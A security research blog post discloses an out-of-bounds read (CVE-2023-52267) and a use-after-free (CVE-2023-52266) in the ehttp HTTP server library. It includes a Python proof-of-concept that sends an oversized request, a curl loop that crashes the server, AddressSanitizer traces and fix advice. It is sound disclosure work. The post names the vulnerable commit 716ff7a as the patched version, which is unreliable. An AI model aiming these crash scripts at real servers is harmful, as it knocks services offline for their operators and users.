Zero-Day Research: ehttp Use-after-Free (CVE-2023-52266) and Out-of-Bounds Read (CVE-2023-52267)

The ehttp library advertises itself as a ‘simple HTTP server based on epoll’. The primary goal of the library is to provide an easy-to-use HTTP microservice with JSON support. The library supports HTTP 1.0/1.1 with GET and POST request methods. When utilizing a new library, I always execute various fuzz tests against the library to search for potential security bugs. When executing my fuzz tests against ehttp, I discovered a few bugs in the library (up to commit 716ff7a) at the following locations:

  • Out-of-bounds-read in void _log(const char *format, va_list ap) at simple_log.cpp:221
  • Use-after-free in read_func(void*) at epoll_socket.cpp:234

Setup

To replicate the vulnerabilities, we need to download the ehttp repository and switch to a vulnerable version of the library by running the command below in a terminal prompt:

git clone https://github.com/hongliuliao/ehttp.git && cd ehttp && git checkout 716ff7a60a28a943855d8811eda44c611d58b349

Out-of-Bounds Read (CVE-2023-52267)

I discovered an out-of-bounds-read vulnerability in void _log(const char *format, va_list ap) at simple_log.cpp:221 when sending a malformed HTTP method, large URL, or large HTTP header value to the server. The large request forces the application to read more data than intended with a call to vprintf(). The vulnerable source code can be seen below:

 void _log(const char *format, va_list ap) { 
if (!use_file_appender) { // if no config, send log to stdout
vprintf(format, ap);
printf("\n");
return;

Below are a few examples of malformed requests that will result in out-of-bounds read vulnerabilities:

Malformed HTTP Method

GETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGET /

Malformed URL

GET /hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello

Makefile modifications

I compiled and executed the examples from the README instructions in the ehttp repository with address sanitizer to help pinpoint the exact location of the out-of-bounds read.

CXXFLAGS += -g -Wall -fsanitize=address
LDFLAGS += -pthread -fsanitize=address

Compilation and Execution

To compile and execute an example HTTP server, we can run the command below on the command line from the root folder of the ehttp repository:

make && make test && ./output/test/hello_server 8080

Below is a proof of concept script named ‘poc.py’ that will send a malformed URL and HTTP request method to the target ehttp server:

#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8080))
sock.send(b"GET"*5000+b" /hello"*5000+b" HTTP/1.1\r\nHost:localhost:8080\r\n\r\n")
response = sock.recv(4096)
sock.close()

Executing the Python3 script

$ python3 poc.py

After executing the python3 script the application will crash and address sanitizer will produce detailed crash logs that we can review.

Address Sanitizer Output

==2308883==ERROR: AddressSanitizer: dynamic-stack-buffer-overflow on address 0x7fdc638f3ce0 at pc 0x7fdc6889109c bp 0x7fdc638f2040 sp 0x7fdc638f1800
READ of size 4097 at 0x7fdc638f3ce0 thread T3
#0 0x7fdc6889109b in printf_common ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_format.inc:553
#1 0x7fdc6889189a in __interceptor_vprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1738
#2 0x559614bebecd in _log(char const*, __va_list_tag*) src/simple_log.cpp:221
#3 0x559614bec870 in log_debug(char const*, ...) src/simple_log.cpp:290
#4 0x559614bdf2a1 in Request::parse_request(char const*, int) src/sim_parser.cpp:580
#5 0x559614bc75bc in HttpEpollWatcher::on_readable(int&, epoll_event&) src/http_server.cpp:296
#6 0x559614bf59c0 in EpollSocket::handle_readable_event(epoll_event&) src/epoll_socket.cpp:247
#7 0x559614bf5703 in read_func(void*) src/epoll_socket.cpp:230
#8 0x559614beddd9 in Task::run() src/threadpool.cpp:19
#9 0x559614beefa7 in ThreadPool::execute_thread() src/threadpool.cpp:159
#10 0x559614bee10c in ss_start_thread src/threadpool.cpp:48
#11 0x7fdc682a63eb in start_thread nptl/pthread_create.c:444
#12 0x7fdc68326a1b in clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

Address 0x7fdc638f3ce0 is located in stack of thread T3
SUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_format.inc:553 in printf_common
Shadow bytes around the buggy address:
0x7fdc638f3a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7fdc638f3c80: 00 00 00 00 00 00 00 00 00 00 00 00[cb]cb cb cb
0x7fdc638f3d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Thread T3 created by T1 here:
#0 0x7fdc68847c36 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:208
#1 0x559614bee436 in ThreadPool::start_threadpool() src/threadpool.cpp:70
#2 0x559614bf74ba in EpollSocket::init_tp() src/epoll_socket.cpp:417
#3 0x559614bf87b4 in EpollSocket::start_epoll() src/epoll_socket.cpp:514
#4 0x559614bc539e in HttpServer::start_sync() src/http_server.cpp:132
#5 0x559614bc5067 in http_start_routine(void*) src/http_server.cpp:102
#6 0x7fdc682a63eb in start_thread nptl/pthread_create.c:444

Thread T1 created by T0 here:
#0 0x7fdc68847c36 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:208
#1 0x559614bc50a1 in HttpServer::start_async() src/http_server.cpp:107
#2 0x559614bc0d99 in main test/hello_server.cpp:112
#3 0x7fdc682456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

==2308883==ABORTING

From the address sanitizer output we can see that the application crashes at address 0x7fdc6889189a in vprintf (line #1), which is called from address 0x559614bebecd (line #2) located in _log(char const, __va_list_tag).

The C library function vprintf(const char *format, va_list arg) sends formatted output to stdout using an argument list passed to it. In this instance vprintf is being called with malformed arguments because of the unexpected size of the HTTP request URL, causing an out-of-bounds-read of size 4097 at address 0x7fdc6889109c.

This can be prevented by specifying a max read size when calling vprintf. An example of this from the ehttp source code can be seen below:

Incorrect

LOG_DEBUG("read from client: size:%d, content:%s", read_size, read_buffer);

Correct

LOG_DEBUG("read from client: size:%d, content:%.4096s", read_size, read_buffer);

Impact and Mitigation

Out-of-bounds read vulnerabilities arise from unintentionally accessing memory segments beyond acceptable boundaries. If we assume all input is malicious or possibly malformed, we can implement checks to verify if all constraints, such as length, type of input, and range of acceptable values, are met. Updating ehttp to at least commit 716ff7a will patch this issue. For more information on out-of-bounds read bugs, we highly recommend reading MITRE’s article on CWE-125.


Heap use-after-free (CVE-2023-52266) in read_func(void*) at epoll_socket.cpp:234

After discovering the out-of-bounds-read vulnerability mentioned above, I decided to continue searching for bugs by fuzzing the rate-limiting protections. The goal here is to check if the library can handle a large number of consecutive requests. After a few requests, I quickly noticed a crash. The crash was the result of a use-after-free vulnerability in void read_func(void *data). This particular use-after-free bug was easy to discover and can be triggered by sending multiple consecutive connections to the server without a delay between each request. The vulnerable source code can be seen below:

 void read_func(void *data) { 
TaskData *td = (TaskData *) data;
td->es->handle_readable_event(td->event);

EpollContext *hc = (EpollContext *) td->event.data.ptr;
if (hc != NULL) {
hc->_ctx_status = CONTEXT_READ_OVER;
}
delete td;
}

Makefile modifications

Similar to the process described above, I compiled and executed the examples from the instructions with address sanitizer to help debug the exact location of the use-after-free bug.

CXXFLAGS += -g -Wall -fsanitize=address
LDFLAGS += -pthread -fsanitize=address

Compilation

To compile and execute an example HTTP server, we can run the command below on the command line from the root folder of the ehttp repository:

make && make test && ./output/test/issue5_server 1234

After running the bash script below, I waited around 30-60 seconds and the server crashed.

$ while true; do curl http://localhost:1234/; done 

After successfully crashing the server, address sanitizer produced detailed logs to assist in finding the code responsible for the vulnerability.

Address Sanitizer Output

==131898==ERROR: AddressSanitizer: heap-use-after-free on address 0x607001a34440 at pc 0x55999cd1a37f bp 0x7f44178fddd0 sp 0x7f44178fddc8                                      
WRITE of size 4 at 0x607001a34440 thread T2
#0 0x55999cd1a37e in read_func(void*) src/epoll_socket.cpp:234
#1 0x55999cd25201 in Task::run() src/threadpool.cpp:19
#2 0x55999cd263cf in ThreadPool::execute_thread() src/threadpool.cpp:159
#3 0x55999cd25534 in ss_start_thread src/threadpool.cpp:48
#4 0x7f441b0a63eb in start_thread nptl/pthread_create.c:444
#5 0x7f441b126a1b in clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

0x607001a34440 is located 64 bytes inside of 72-byte region [0x607001a34400,0x607001a34448)
freed by thread T3 here:
#0 0x7f441b6da008 in operator delete(void*, unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:164
#1 0x55999cd1dd7c in EpollSocket::close_and_release(epoll_event&) src/epoll_socket.cpp:571
#2 0x55999cd1aa19 in EpollSocket::handle_writeable_event(int&, epoll_event&, EpollSocketWatcher&) src/epoll_socket.cpp:275
#3 0x55999cd189d2 in write_func(void*) src/epoll_socket.cpp:74
#4 0x55999cd25201 in Task::run() src/threadpool.cpp:19
#5 0x55999cd263cf in ThreadPool::execute_thread() src/threadpool.cpp:159
#6 0x55999cd25534 in ss_start_thread src/threadpool.cpp:48
#7 0x7f441b0a63eb in start_thread nptl/pthread_create.c:444

previously allocated by thread T0 here:
#0 0x7f441b6d9108 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
#1 0x55999cd19c6b in EpollSocket::create_client(int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) src/epoll_socket.cpp:191
#2 0x55999cd19eed in EpollSocket::handle_accept_event(int&, epoll_event&, EpollSocketWatcher&) src/epoll_socket.cpp:209
#3 0x55999cd1bc20 in EpollSocket::handle_event(epoll_event&) src/epoll_socket.cpp:386
#4 0x55999cd1d0cc in EpollSocket::start_event_loop() src/epoll_socket.cpp:491
#5 0x55999cd1d5c7 in EpollSocket::start_epoll() src/epoll_socket.cpp:526
#6 0x55999ccef9fe in HttpServer::start_sync() src/http_server.cpp:132
#7 0x55999cceb270 in main test/issue5/issue5_server.cpp:78
#8 0x7f441b0456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

Thread T2 created by T0 here:
#0 0x7f441b647c36 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:208
#1 0x55999cd2585e in ThreadPool::start_threadpool() src/threadpool.cpp:70
#2 0x55999cd1c080 in EpollSocket::init_tp() src/epoll_socket.cpp:417
#3 0x55999cd1d37a in EpollSocket::start_epoll() src/epoll_socket.cpp:514
#4 0x55999ccef9fe in HttpServer::start_sync() src/http_server.cpp:132
#5 0x55999cceb270 in main test/issue5/issue5_server.cpp:78
#6 0x7f441b0456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-use-after-free src/epoll_socket.cpp:234 in read_func(void*)
Shadow bytes around the buggy address:
0x607001a34180: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd
0x607001a34200: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd
0x607001a34280: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd fa
0x607001a34300: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa
0x607001a34380: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa
=>0x607001a34400: fd fd fd fd fd fd fd fd[fd]fa fa fa fa fa fd fd
0x607001a34480: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd
0x607001a34500: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd
0x607001a34580: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd
0x607001a34600: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd fa
0x607001a34680: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==131898==ABORTING

Address sanitizer detected an invalid write of size 4 at the address 0x607001a34440 in thread T2 because of a use-after-free vulnerability. This vulnerability can be traced back to address 0x55999cd1a37e (line #0) in the function read_func(void*) at src/epoll_socket.cpp:234.

Use-after-free vulnerabilities are the result of using pointers after they have been freed. Every time you allocate dynamic memory on the heap in C/C++, you have to call the function ‘Malloc()’. Malloc allocates unused space for an object on the heap, which you can use to store pointers, variables, and other data:

char* ptr = (char*)malloc (SIZE);

Once you are finished doing what you need to do with your memory, you can release the memory back to the system by calling the ‘free()’ function with a pointer to the memory you are ready to release:

free(ptr);

Once you free your memory the system takes back those resources and will give it to anyone that requests it. You must assume that the content located at the memory address you have freed has changed and can now be any undefined value. If you attempt to reuse a pointer that you have already freed, the resulting behavior will be undefined, because the memory contents could have changed after you released it. For example:

Incorrect

    
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv){

char* ptr = (char*)malloc(4*sizeof(char)); // Allocate dynamic memory
ptr[0] = 'H';
ptr[1] = 'i';
ptr[2] = '\0';

free(ptr); // Give back the memory we allocated

// This is a use-after-free vulnerability
// because ptr is used after it was freed
// behavior is undefined

printf("Output is %s\n", ptr);
return 0;
}



Correct

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv){

int finished = 1;
char* ptr = (char*)malloc(4*sizeof(char)); // Allocate dynamic memory
ptr[0] = 'H';
ptr[1] = 'i';
ptr[2] = '\0';

if(finished == 1){
free(ptr); // Give back the memory we allocated
ptr = NULL; // Set the pointer to NULL
printf("Finished...\n");
}
else if (finished == 0 && ptr != NULL){
printf("Output is %s\n", ptr);
}
return 0;
}


Impact and Mitigation

Use-after-free bugs can have a wide variety of effects on an application, ranging from code execution and authentication bypass to software crashes. After freeing pointers, be sure to set each pointer to NULL once they are freed. This effectively prevents the reuse of memory after the memory has been released by a call to ‘free()’. Updating ehttp to at least commit 716ff7a will address this issue. For more information on use-after-free bugs, we highly recommend reading MITRE’s article on CWE-416.


References

  • https://cwe.mitre.org/data/definitions/416.html
  • https://cwe.mitre.org/data/definitions/125.html
  • https://github.com/hongliuliao/ehttp/commit/17405b975948abc216f6a085d2d027ec1cfd5766
  • https://github.com/hongliuliao/ehttp/issues/38

Discover more from Skinny Research & Development

Subscribe now to keep reading and get access to the full archive.

Continue reading

Scroll to Top